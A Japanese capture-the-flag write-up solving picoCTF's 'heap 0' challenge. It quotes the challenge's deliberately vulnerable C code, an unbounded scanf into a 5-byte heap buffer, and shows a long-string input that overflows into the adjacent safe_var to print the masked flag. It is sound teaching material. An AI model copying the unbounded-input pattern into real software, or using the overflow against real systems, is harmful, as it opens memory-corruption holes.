【picoCTF】heap 0 - ヒープ領域の脆弱な書き込みを悪用してフラグを読む

問題概要

picoCTFの「heap 0」という問題の解説記事です。

• カテゴリ: Binary Exploitation
• 難易度: Easy

問題文

解説

ステップ1: picoCTFのサーバーに接続

$ nc tethys.picoctf.net xxxxxx

接続に成功すると以下のように表示されます。

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x6363f5d672b0  ->   pico
+-------------+----------------+
[*]   0x6363f5d672d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice:

上記の出力から、以下が読み取れます。

• Heap State には、ヒープ上に確保された領域の アドレス と、その領域に入っている 文字列 が表示されている
• pico と bico の2つのデータがあり、互いに近いアドレスに配置されている
• メニューの 2. Write to buffer で、ユーザーがヒープ上のデータ（入力用バッファ）を書き換えられる
• メニューの 3. Print safe_var で、ヒープ上の変数 safe_var の内容を確認できる
• メニューの 4. Print Flag が勝利判定（フラグ表示）に繋がっていそう

ステップ2: ソースコード（chall.c）を読む

まずは初期化部分です。

// 重要部分だけ抜粋
input_data = malloc(INPUT_DATA_SIZE);  // INPUT_DATA_SIZE = 5
strncpy(input_data, "pico", INPUT_DATA_SIZE);

safe_var = malloc(SAFE_VAR_SIZE);      // SAFE_VAR_SIZE = 5
strncpy(safe_var, "bico", SAFE_VAR_SIZE);

ここで、ヒープ上に以下の2つが確保されます。接続時に表示されていたアドレスと対応しています。

• input_data（5バイト）…初期値は "pico"
• safe_var（5バイト）…初期値は "bico"

次に書き込み処理です。

void write_buffer() {
  printf("Data for buffer: ");
  scanf("%s", input_data);
}

最後に、flagが出る条件を確認します。

void check_win() {
  if (strcmp(safe_var, "bico") != 0) {
    printf("\nYOU WIN\n");
    // flag.txt を表示
  } else {
    printf("Looks like everything is still secure!\n");
  }
}

ステップ3: 攻撃方針（何をどう壊す？）

方針はシンプルです。

1. メニューの「Write to buffer（2）」で input_data に長い文字列を書き込む
2. input_data の領域をはみ出して、隣に確保されている safe_var を上書きする
3. メニューの「Print Flag（4）」で check_win() を呼ぶ

ステップ4: 実際に攻撃してフラグを取得（nc接続のまま操作）

まずはアドレス差を確認

例：

• input_data = 0x...72b0
• safe_var = 0x...72d0

safe_var を上書きする

メニューで 2（Write to buffer）を選び、十分に長い文字列を入れます。

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ

Enter your choice: 3

Take a look at my variable: safe_var = Z...

フラグを出す

最後に 4（Print Flag）を選びます。

Enter your choice: 4
YOU WIN
picoCTF{xxxxx}

※フラグはマスクしています。

これでフラグを取得できました。

まとめ

▼ポイントは以下の通りです。

• scanf("%s", ...) のような 長さ制限のない入力は危険
• malloc(5) のような小さいバッファに長い入力を入れると ヒープオーバーフロー
• safe_var != "bico" にできれば勝ち、という勝利条件が分かれば解法は一直線

閲覧ありがとうございました！